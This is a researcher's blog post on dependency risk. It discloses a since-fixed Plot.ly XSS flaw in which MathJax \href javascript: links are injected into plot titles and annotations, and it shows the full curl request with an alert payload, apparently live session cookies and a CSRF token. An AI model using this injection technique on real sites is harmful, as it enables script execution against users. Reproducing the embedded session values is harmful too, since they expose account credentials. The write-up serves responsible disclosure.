Import the World, Import the Risk - Exploiting Plot.ly via MathJax.js
Overview Link to heading
This blog post could be just another security report. I realize it will be different but if you hear me out, I’d like to make a practical case for why you and your team should adopt the mantra “Import the World, Import the Risk.” The reminder being that the dependencies you import are not simply static helpers with no cost, but are living pieces of future infrastructure that must be cared for.
Audience Link to heading
I continue to see similar questions when a developer is exploring the Go programming language. “Hey where is the (x) framework for Go” comes up often. The answer is usually something along the line of “Go developers generally use the standard library” or “We prefer small tools versus large frameworks” which is actually an accurate direction to orient the conversation. But when the next question is “Why?” the conversation usually dies. This is my attempt at helping to answer the “Why?”
Responsibility Link to heading
What is your responsibility with dependencies? Dave Cheney puts it this way which I think is very insightful.
The reason I like this is that it articulates a relationship. Regardless of if the one doing the import agrees, there is a new social contract that must be met. And something that Go does particularly well and we can learn from is to found one’s development philosophy on the idea of tooling and toolkits.
The Gorilla web toolkit or the new micro service toolkit Go kit are also built on the idea of tooling (goimport, gofmt, etc). And with toolkits you are empowered to include only the dependancies that are necessary. though still expected to reason and think about what you import, why you are importing it, and how it will impact you and your team in the near and long term.
Audit Experiences Link to heading
It started a little more than a year ago and began while I was performing a code audit. A Client had hired a consultancy to build a PHP application. While sniffing around the codebase I noticed that one of the dependancies had a known vulnerability. I was curious to see when it had been introduced in the application so I went trolling through the git log.
First I read a log message that stated the following.
commit [redacted]
Author: [redacted]
Date: Wed Feb 25 19:18:52 2015 -0800
Add un-upgraded [redacted] to prevent issues
And the previous commit was this.
commit [redacted]
Author: [redacted]
Date: Tue Feb 24 15:40:28 2015 -0800
Install [redacted] + security updates
From reading through the log, it appeared that the application had been built using a dependency so as to support a particular feature. But when the ship date drew near and a security notice was released for the dependency, the consultancy punted on upgrading in order to meet the deadline.
And then, most recently, on another engagement I was able to dump source code from a nodejs application by exploiting a directory traversal attack in a npm package that a developer had misused. I then utilized this information leak to observe that AWS keys were hard coded into the application. Should I have wanted to pivot into my Client’s AWS instance it was mine for the taking.
This company asserted that "…the package shouldn’t have allowed the developer to do this…" but when diving into the npm module I found the portion of code that was actually being utilized to be less than two hundred lines.
After several more audits of this nature where I continued to exploit different dependancies I realized that we as developers appear to be importing everything with no thought of the cost.
Recon Of Plot.ly Link to heading
Which leads me to Plot.ly. Many of you know that I’ve been hacking both Plot.ly and Plotly.js lately with success. But I knew there were more vulnerabilities to be found so last weekend I spent a few hours looking at the data inputs again.
I saw that Plot.ly allowed you to insert LaTex commands in order to create your plot.
I knew from my previous hacks that convertToSVG()
was responsible for sanitizing a user’s input. But I realized that the regex was matching on the <
and >
symbols, sniffing for html tags. If the input didn’t match on this, the sanitization performed would not be the same. github
From here I viewed the source of the Plot.ly web application. I could see that they were using a library called MathJax.js to render the LaTex commands inside their SVG plot. And from the last hack I was aware that Plot.ly has several functions that repaint the SVG after Reactjs renders. The MathJax.js rendering was one of these and this was interesting. I knew that I wanted to target Plot.ly using a malicious javascript payload injected into the DOM via the MathJax LaTex input. And I was certain I would be able to do something Plot.ly didn’t expect.
Exploiting Plot.ly Link to heading
I started to read the MathJax.js documentation. I did not have to read far.
“MathML includes the ability to include hyperlinks within your mathematics, and such links could be made to javascript: URL’s.” Link to heading
Turns out that the library does not anticipate a user’s input will be malicious so the javascript features were enabled by default. If you want to disable javascript functionality in MathJax.js you must enable Safe Mode.
By Plot.ly assuming that the MathJax.js library had anticipated their default usecase they now were open to an XSS attack. And I went about injecting javascript into a plot. I could inject the javascript links on any Title or Point in the plot so theoretically I could fill a plot with interactive links full of malicious code. The social nature of Plot.ly’s product makes this all the more dangerous.
curl 'https://api.plot.ly/v2/plots/jfolkins4:10?allow_raw=true' -X PUT -H 'Origin: https://plot.ly' -H 'Accept-Encoding: gzip, deflate, sdch, br' -H 'Accept-Language: en-US,en;q=0.8' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2822.0 Safari/537.36' -H 'Content-Type: application/json' -H 'Accept: application/json' -H 'Referer: https://plot.ly/alpha/workspace/?fid=jfolkins4:10' -H 'Cookie: __insp_uid=464597034; _ga=GA1.2.94893556.1469315074; _ceg.s=ob9m76; _ceg.u=ob9m76; AWSELB=296F2D2B16D851992A5FF5CDA5674849B81CD605B18D343650EA0A95460A799A3E945A8528F16C2B6E4A0AE12CB2743192ADE74BC271F0DAD63ED5B0E9B39528A608A9397E; __insp_wid=27831418; __insp_nv=false; __insp_ref=aHR0cHM6Ly9wbG90Lmx5L29yZ2FuaXplL2hvbWU%3D; __insp_targlpu=https%3A%2F%2Fplot.ly%2Falpha%2Fworkspace%2F%3Ffid%3Djfolkins4%3A10; __insp_targlpt=Plotly; __insp_norec_sess=true; __utmt=1; __utma=204621137.94893556.1469315074.1470612070.1470628663.31; __utmb=204621137.5.10.1470628663; __utmc=204621137; __utmz=204621137.1469419940.11.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); mp_ad6df61d0b9400400b240631576c24d4_mixpanel=%7B%22distinct_id%22%3A%20%221561a00e9c83ab-0f418e04c84b17-62350f7f-13c680-1561a00e9c961d%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3A%20%22%24direct%22%2C%22Email%22%3A%20%22jfolkins%2Bplotly%40gmail.com%22%2C%22Username%22%3A%20%22jfolkins2%22%2C%22__mps%22%3A%20%7B%7D%2C%22__mpso%22%3A%20%7B%7D%2C%22__mpa%22%3A%20%7B%7D%2C%22__mpu%22%3A%20%7B%7D%2C%22__mpap%22%3A%20%5B%5D%2C%22__alias%22%3A%20%22jfolkins4%22%2C%22%24search_engine%22%3A%20%22google%22%2C%22email_campaign_received%22%3A%20%22%22%7D; __insp_slim=1470630493544; mp_mixpanel__c=182; plotly_sess_pr=nrokvhlbgt3audzyprc9m5o1rv0n43sn; plotly_csrf_pr=OQgJQSDZJsOpKc8sbbZrxsKo5Rdwyqmd' -H 'Connection: keep-alive' -H 'X-CSRFToken: OQgJQSDZJsOpKc8sbbZrxsKo5Rdwyqmd' --data-binary '{"world_readable":true,"figure":{"data":[{"error_x":{"visible":false},"error_y":{"visible":false},"fill":"none","mode":"markers","showlegend":true,"hoverinfo":"x+y+z+text","opacity":1,"name":"B","ysrc":"jfolkins4:6:7750ef","xsrc":"jfolkins4:6:32d0b2","text":"","uid":"ae7baf","visible":true,"index":0,"legendgroup":"","xaxis":"x","marker":{"symbol":"circle","opacity":1,"size":6,"color":"#1f77b4","line":{"color":"#444","width":0},"maxdisplayed":0},"type":"scatter","yaxis":"y","hoveron":"points"}],"layout":{"plot_bgcolor":"#fff","smith":false,"annotations":[{"align":"left","textangle":0,"borderpad":1,"arrowhead":0,"arrowsize":1,"opacity":1,"showarrow":true,"text":"","font":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"rgb(60, 60, 60)"},"ax":0,"bordercolor":"rgba(0, 0, 0, 0)","ay":-20,"x":3.400887573964497,"y":4.140255009107468,"arrowcolor":"rgb(60, 60, 60)","borderwidth":1,"yref":"y","xref":"x","ayref":"pixel","axref":"pixel","arrowwidth":1,"bgcolor":"rgba(0, 0, 0, 0)"},{"align":"left","textangle":0,"borderpad":1,"arrowhead":0,"arrowsize":1,"opacity":1,"showarrow":true,"text":"$\\href{javascript:alert(\"XSS\")}{RiskyPlotPoint}$","font":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"rgb(60, 60, 60)"},"ax":0,"bordercolor":"rgba(0, 0, 0, 0)","ay":-20,"x":4,"y":5,"arrowcolor":"rgb(60, 60, 60)","borderwidth":1,"yref":"y","xref":"x","ayref":"pixel","axref":"pixel","arrowwidth":1,"bgcolor":"rgba(0, 0, 0, 0)"}],"width":899,"height":504.812,"titlefont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":17,"color":"#444"},"showlegend":false,"paper_bgcolor":"#fff","legend":{},"margin":{"l":80,"r":80,"t":100,"b":80,"pad":0,"autoexpand":true},"separators":".,","font":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"#444"},"autosize":true,"shapes":[],"hidesources":false,"dragmode":"zoom","title":"$\\href{javascript:alert(\"XSS\")}{Risky click of the day \\#2} $","xaxis":{"rangemode":"normal","tickmode":"auto","gridwidth":1,"color":"#444","showgrid":true,"domain":[0,1],"exponentformat":"B","zerolinecolor":"#444","titlefont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":14,"color":"#444"},"nticks":0,"fixedrange":false,"zerolinewidth":1,"showexponent":"all","tickfont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"#444"},"autorange":true,"ticksuffix":"","tickprefix":"","showline":false,"hoverformat":"","tickformat":"","anchor":"y","tickangle":"auto","ticks":"","side":"bottom","title":"","showticklabels":true,"type":"linear","zeroline":true,"range":[0.8143248175182481,4.185675182481752],"gridcolor":"rgb(238, 238, 238)"},"yaxis":{"rangemode":"normal","tickmode":"auto","gridwidth":1,"color":"#444","showgrid":true,"domain":[0,1],"exponentformat":"B","zerolinecolor":"#444","titlefont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":14,"color":"#444"},"nticks":0,"fixedrange":false,"zerolinewidth":1,"showexponent":"all","tickfont":{"family":"\"Open Sans\", verdana, arial, sans-serif","size":12,"color":"#444"},"autorange":true,"ticksuffix":"","tickprefix":"","showline":false,"hoverformat":"","tickformat":"","anchor":"x","tickangle":"auto","ticks":"","side":"left","title":"","showticklabels":true,"type":"linear","zeroline":true,"range":[0.7101449275362319,5.420289855072464],"gridcolor":"rgb(238, 238, 238)"},"hovermode":"closest"}}}' --compressed
Summary Link to heading
Some of us see security as a obstacle to shipping products while others claim that the packages should not allow the developer to blow their own leg off, laying the blame on the library or worse, some poor OSS maintainer. But I think the root cause is the silent deception. By never accepting the responsibility of the dependancy in the first place, we can quite effectively lie to ourselves, alleviating our conscience and its concerns.
If you import the world, you will import the risk and my challenge to you and your team is to evaluate and then only include the code that you are dependent upon.
Bounty Link to heading
My recommendation was for the bounty to be donated to Autism Canada and I am happy to say that Plot.ly honored the request. Thanks Plot.ly!
Timeline Link to heading
- 20160808 Reported
- 20160812 Fixed
- 20160816 Disclosed